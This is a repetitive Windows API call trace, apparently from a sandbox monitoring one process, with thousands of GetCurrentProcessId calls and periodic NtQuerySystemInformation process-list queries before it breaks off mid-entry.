GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.437] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.438] GetCurrentProcessId () returned 0x10c0 [0269.439] GetCurrentProcessId () returned 0x10c0 [0270.007] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dbb0) returned 0x0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.107] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.108] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.109] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.110] GetCurrentProcessId () returned 0x10c0 [0270.111] GetCurrentProcessId () returned 0x10c0 [0270.111] GetCurrentProcessId () returned 0x10c0 [0270.111] GetCurrentProcessId () returned 0x10c0 [0270.111] GetCurrentProcessId () returned 0x10c0 [0270.111] GetCurrentProcessId () returned 0x10c0 [0270.111] GetCurrentProcessId () returned 0x10c0 [0270.111] GetCurrentProcessId () returned 0x10c0 [0270.111] GetCurrentProcessId () returned 0x10c0 [0270.111] GetCurrentProcessId () returned 0x10c0 [0270.111] GetCurrentProcessId () returned 0x10c0 [0270.111] GetCurrentProcessId () returned 0x10c0 [0270.111] GetCurrentProcessId () returned 0x10c0 [0270.111] GetCurrentProcessId () returned 0x10c0 [0270.111] GetCurrentProcessId () returned 0x10c0 [0270.111] GetCurrentProcessId () returned 0x10c0 [0270.111] GetCurrentProcessId () returned 0x10c0 [0270.648] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dbb0) returned 0x0 [0270.665] GetCurrentProcessId () returned 0x10c0 [0270.665] GetCurrentProcessId () returned 0x10c0 [0270.665] GetCurrentProcessId () returned 0x10c0 [0270.665] GetCurrentProcessId () returned 0x10c0 [0270.665] GetCurrentProcessId () returned 0x10c0 [0270.665] GetCurrentProcessId () returned 0x10c0 [0270.665] GetCurrentProcessId () returned 0x10c0 [0270.665] GetCurrentProcessId () returned 0x10c0 [0270.665] GetCurrentProcessId () returned 0x10c0 [0270.665] GetCurrentProcessId () returned 0x10c0 [0270.665] GetCurrentProcessId () returned 0x10c0 [0270.665] GetCurrentProcessId () returned 0x10c0 [0270.665] GetCurrentProcessId () returned 0x10c0 [0270.665] GetCurrentProcessId () returned 0x10c0 [0270.665] GetCurrentProcessId () returned 0x10c0 [0270.665] GetCurrentProcessId () returned 0x10c0 [0270.665] GetCurrentProcessId () returned 0x10c0 [0270.665] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.666] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.667] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.668] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.669] GetCurrentProcessId () returned 0x10c0 [0270.670] GetCurrentProcessId () returned 0x10c0 [0270.670] GetCurrentProcessId () returned 0x10c0 [0270.670] GetCurrentProcessId () returned 0x10c0 [0270.670] GetCurrentProcessId () returned 0x10c0 [0270.670] GetCurrentProcessId () returned 0x10c0 [0270.670] GetCurrentProcessId () returned 0x10c0 [0271.224] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dbb0) returned 0x0 [0271.226] GetCurrentProcessId () returned 0x10c0 [0271.226] GetCurrentProcessId () returned 0x10c0 [0271.226] GetCurrentProcessId () returned 0x10c0 [0271.226] GetCurrentProcessId () returned 0x10c0 [0271.226] GetCurrentProcessId () returned 0x10c0 [0271.226] GetCurrentProcessId () returned 0x10c0 [0271.226] GetCurrentProcessId () returned 0x10c0 [0271.226] GetCurrentProcessId () returned 0x10c0 [0271.226] GetCurrentProcessId () returned 0x10c0 [0271.226] GetCurrentProcessId () returned 0x10c0 [0271.226] GetCurrentProcessId () returned 0x10c0 [0271.226] GetCurrentProcessId () returned 0x10c0 [0271.226] GetCurrentProcessId () returned 0x10c0 [0271.226] GetCurrentProcessId () returned 0x10c0 [0271.226] GetCurrentProcessId () returned 0x10c0 [0271.226] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.227] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.228] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.229] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.230] GetCurrentProcessId () returned 0x10c0 [0271.231] GetCurrentProcessId () returned 0x10c0 [0271.231] GetCurrentProcessId () returned 0x10c0 [0271.786] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dbb0) returned 0x0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.789] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.790] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.791] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.792] GetCurrentProcessId () returned 0x10c0 [0271.793] GetCurrentProcessId () returned 0x10c0 [0272.315] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dbb0) returned 0x0 [0272.321] GetCurrentProcessId () returned 0x10c0 [0272.321] GetCurrentProcessId () returned 0x10c0 [0272.321] GetCurrentProcessId () returned 0x10c0 [0272.321] GetCurrentProcessId () returned 0x10c0 [0272.321] GetCurrentProcessId () returned 0x10c0 [0272.321] GetCurrentProcessId () returned 0x10c0 [0272.321] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.322] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] 